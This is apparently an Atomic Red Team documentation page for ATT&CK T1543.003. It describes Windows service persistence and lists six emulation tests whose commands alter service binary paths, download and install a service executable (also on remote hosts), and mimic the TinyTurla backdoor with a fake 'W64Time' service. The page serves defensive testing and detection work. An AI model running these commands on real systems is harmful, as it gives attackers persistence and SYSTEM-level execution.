T1543.003 - Create or Modify System Process: Windows Service

Description from ATT&CK (opens in a new tab)

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via Native API (opens in a new tab) functions such as CreateServiceW() (or manually via functions such as ZwLoadDriver() and ZwSetValueKey()), by creating the required service Registry values (i.e. Modify Registry (opens in a new tab)), or by using command-line utilities such as PnPUtil.exe.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as Rootkit (opens in a new tab)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation (opens in a new tab).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution (opens in a new tab).

To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (opens in a new tab) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts (opens in a new tab)), for example by using the sc sdset command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as Get-Service, sc query, and services.exe.(Citation: SANS 1)(Citation: SANS 2)

Atomic Tests

• Atomic Test #1 - Modify Fax service to run PowerShell

• Atomic Test #2 - Service Installation CMD

• Atomic Test #3 - Service Installation PowerShell

• Atomic Test #4 - TinyTurla backdoor service w64time

• Atomic Test #5 - Remote Service Installation CMD

• Atomic Test #6 - Modify Service to Run Arbitrary Binary (Powershell)

Atomic Test #1 - Modify Fax service to run PowerShell

This test will temporarily modify the service Fax by changing the binPath to PowerShell and will then revert the binPath change, restoring Fax to its original state. Upon successful execution, cmd will modify the binpath for Fax to spawn powershell. Powershell will then spawn.

Supported Platforms: Windows

auto_generated_guid: ed366cde-7d12-49df-a833-671904770b9f

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sc config #{service_name} binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start #{service_name}

Cleanup Commands:

sc config #{service_name} binPath= "#{service_binpath}" >nul 2>&1

Atomic Test #2 - Service Installation CMD

Download an executable from github and start it as a service. Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.

Supported Platforms: Windows

auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sc.exe create #{service_name} binPath= "#{binary_path}" start=#{startup_type}  type=#{service_type}
sc.exe start #{service_name}

Cleanup Commands:

sc.exe stop #{service_name} >nul 2>&1
sc.exe delete #{service_name} >nul 2>&1

Dependencies: Run with powershell!

Description: Service binary must exist on disk at specified location (#{binary_path})

Check Prereq Commands:

if (Test-Path "#{binary_path}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"

Atomic Test #3 - Service Installation PowerShell

Installs A Local Service via PowerShell. Upon successful execution, powershell will download AtomicService.exe from github. Powershell will then use New-Service and Start-Service to start service. Results will be displayed.

Supported Platforms: Windows

auto_generated_guid: 491a4af6-a521-4b74-b23b-f7b3f1ee9e77

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
Start-Service -Name "#{service_name}"

Cleanup Commands:

Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
catch {}

Dependencies: Run with powershell!

Description: Service binary must exist on disk at specified location (#{binary_path})

Check Prereq Commands:

if (Test-Path "#{binary_path}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"

Atomic Test #4 - TinyTurla backdoor service w64time

It's running Dll as service to emulate the TinyTurla backdoor

Related Talos Blog (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

copy "#{dllfilename}" %systemroot%\system32\
sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
sc start W64Time

Cleanup Commands:

sc stop W64Time
sc.exe delete W64Time
del %systemroot%\system32\w64time.dll
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f

Atomic Test #5 - Remote Service Installation CMD

Download an executable from github and start it as a service on a remote endpoint Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.

Supported Platforms: Windows

auto_generated_guid: fb4151a2-db33-4f8c-b7f8-78ea8790f961

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sc.exe \\#{remote_host} create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type}
sc.exe \\#{remote_host} start #{service_name}

Cleanup Commands:

sc.exe \\#{remote_host} stop #{service_name} >nul 2>&1
sc.exe \\#{remote_host} delete #{service_name} >nul 2>&1

Dependencies: Run with powershell!

Description: Service binary must exist on disk at specified location (#{binary_path})

Check Prereq Commands:

if (Test-Path "#{binary_path}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"

Atomic Test #6 - Modify Service to Run Arbitrary Binary (Powershell)

This test will use PowerShell to temporarily modify a service to run an arbitrary executable by changing its binary path and will then revert the binary path change, restoring the service to its original state. This technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse function. Reference (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 1f896ce4-8070-4959-8a25-2658856a70c9

Inputs:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null
set-servicebinarypath -name "#{service_name}" -path "#{new_bin_path}"
start-service -Name "#{service_name}" -erroraction silentlycontinue | out-null

Cleanup Commands:

Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null
set-servicebinarypath -name "#{service_name}" -path "#{original_bin_path}" -erroraction silentlycontinue | out-null